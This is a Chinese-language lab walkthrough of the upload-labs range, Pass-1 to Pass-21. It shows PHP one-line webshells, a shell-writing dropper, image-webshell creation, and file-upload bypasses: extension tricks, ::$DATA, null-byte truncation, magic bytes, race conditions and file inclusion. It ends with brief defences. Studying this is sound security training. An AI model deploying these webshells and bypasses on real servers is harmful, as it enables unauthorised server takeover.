什么是一句话木马
-
定义
它是一种短小精悍的代码片段,通常可以通过简单的HTTP请求等方式被恶意利用。
-
原理
其原理是利用服务器端脚本语言(如PHP等)的特性,在目标服务器上执行恶意命令。例如在PHP中,通过在特定的可执行脚本区域内插入类似于“”这样的代码(这里的'pass'是一个自定义的参数名)。当外部攻击者通过POST方法发送包含恶意命令的数据到这个脚本时,由于eval函数会执行传入的字符串内容,就可以执行攻击者想要的命令,如查看服务器文件、修改文件内容甚至获取服务器权限等
最常见的一句话木马
<?php @eval($_POST['a']);?>
先新建一个文档my.txt,将上述代码输入,接着后缀改为php文件,再创建一个my.jpg文件
Pass-1 Javascript前端检查
上传一个php文件发现无法上传,而且无法抓到包,判断为前端检查。
这时右键打开检查,在设置中勾选”禁用javascript *“
此时再上传php文件就成功了。右键点击已上传的文件,复制图像链接,打开蚁剑添加数据,
将链接复制到URL地址,连接密码输入”a“,点击测试链接,连接成功后点击添加后木马植入成功
Pass-2 文件类型检查有缺陷
先上传jpg文件,使用抓包软件发现可以抓到包,表面为后端检查,发现数据包中的content-type为image/jpeg,复制该内容,然后上传php文件再次抓包,将php文件中的这一项改为image/jpeg之后放行,即可上传成功
,接用上述操作使用蚁剑连接成功即可完成
Pass-3黑名单限制不完全
打开查看源代码,发现限制.php的上传,
这时可以修改靶场环境,打开phpstudy,按图示步骤操作
完成后再修改phpstudy的版本,不要选择有ntr的版本
接着上传php文件抓包改成php3,上传成功后连接蚁剑
Pass-4 修改php文件后缀
先点击查看源码
可以上传php文件抓包后修改后缀为”.php. .“放行即可上传成功,最后连接蚁剑
Pass-7&Pass-6&Pass-5 同Pass-4方法
Pass-8 黑名单限制不完全 - 点
源码中没有过滤 .
上传时文件名为webshell.php.
,绕过对后缀的检查
Pass-9 黑名单限制不完全 - ::$DATA
查看源码
在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名 例如:将文件后缀改为"my.php::$DATA",Windows会自动去掉末尾的::$DATA变成"my.php",最后连接蚁剑
Pass-10同Pass-4方法
Pass-11 黑名单限制不完全 - 双写绕过
$deny_ext = array("......"); • $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name;
源码中 使用 str_ireplace
不区分大小写替换,只是替换了一次,我们可以利用双写绕过检查
上传文件名 :my.p.phphp
上传时会被删除 .php
最后的上传文件名: my.php
Pass-12 上传路径可控%00截断
先上传一个my.jpg文件,利用抓包工具控制上传路径,如图所示使用%00截断,将my.php上传成功
复制得到的链接把�/4020241023004818.jpg删除,即可连接到蚁剑
Pass-13 上传路径可控0x00截断
路径可控位置在POST
数据中,先抓包,
在burp
中 hex
请求数据中,修改my.php后的字节为00,然后上传连接蚁剑
Pass-14 字节标识绕过
源码读取前2个字节判断上传文件的类型,判断通过后,便重新给文件赋予新的后缀名
拿上传一个.jpg为例,文件头两个字节十进制为255216,转化为十六进制是FFD8,所以利用vscode将my.php文件前两个字节修改,
然后上传已经修改了的my.php文件,显示上传的是.jpg文件,在这一关,除了上传,还存在一个 include.php
文件,存在文件包含漏洞,可以利用文件包含漏洞请求上传的文件
构造:include.php?file=upload/my.jpg
,include 会以本文的形式读取my.jpg
的内容,这样存在于my.jpg
里的一句话木马就可以执行
Pass-15 getimagesize图片马绕过
通过使用getimagesize()检查是否为图片文件,所以我们只需要一张图片1.jpg和一句话木马写好的php文件 1.php之后我们进入到命令行。注意:将php文件和图片文件放到同一目录下,cmd也要跳转到放文件的目录下 之后执行命令
copy 1.jpg/b + 1.php/a 2.jpg
然后图片马就制作完成了,利用文件上传漏洞上传后复制图片链接到蚁剑连接成功。14题也可用上述方法解出。
pass-16 方法同上
Pass-17 二次渲染绕过
这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
补充知识: 二次渲染:后端重写文件内容 basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名 strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。 imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像 imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像 imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,这里尽量往后面插,然后上传带有一句话木马的gif文件
Pass-18 条件竞争一
新建一个php文件,插入下面生成小马的一句话
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>'); ?>
将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可通过条件竞争的方式在unlink之前,访问webshell。
使用burp拦截上传18.php的数据包并对数据包发送至intruder模块进行高速重发(上传包),同时使用burp截取访问http://192.168.2.14/upload-labs-master/upload/18.php的数据包也进行重发(访问包),
查看upload文件夹中是否出现一个shell.php的文件,如果有则说明成功上传
Pass-19 条件竞争二
这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件
首先利用15关的方法将生成小马的语句写进图片马,然后后面的步骤与上一关无异。
Pass-20 后缀绕过
使用制作好的图片马上传,然后利用labs自带的includ漏洞进行包含,但是关卡没有说使用文件包含。
在php中move_uploaded_file有一个特性 修改上传文件名称为upload-19.php/ .
Pass-21审计加数组后缀绕过
这一关是利用数组绕过验证
总结
文件上传漏洞成因: 具备上传文件功能的Web等应用,未对用户选择上传的文件进行校验,使得非法用户可通过上传可执行脚本而获取应用的控制权限。
-
不要暴露上传文件的位置
-
禁用上传文件的执行权限
-
黑白名单
-
对上传的文件重命名,不易被猜测
-
对文件内容进行二次渲染
-
对上传的内容进行读取检查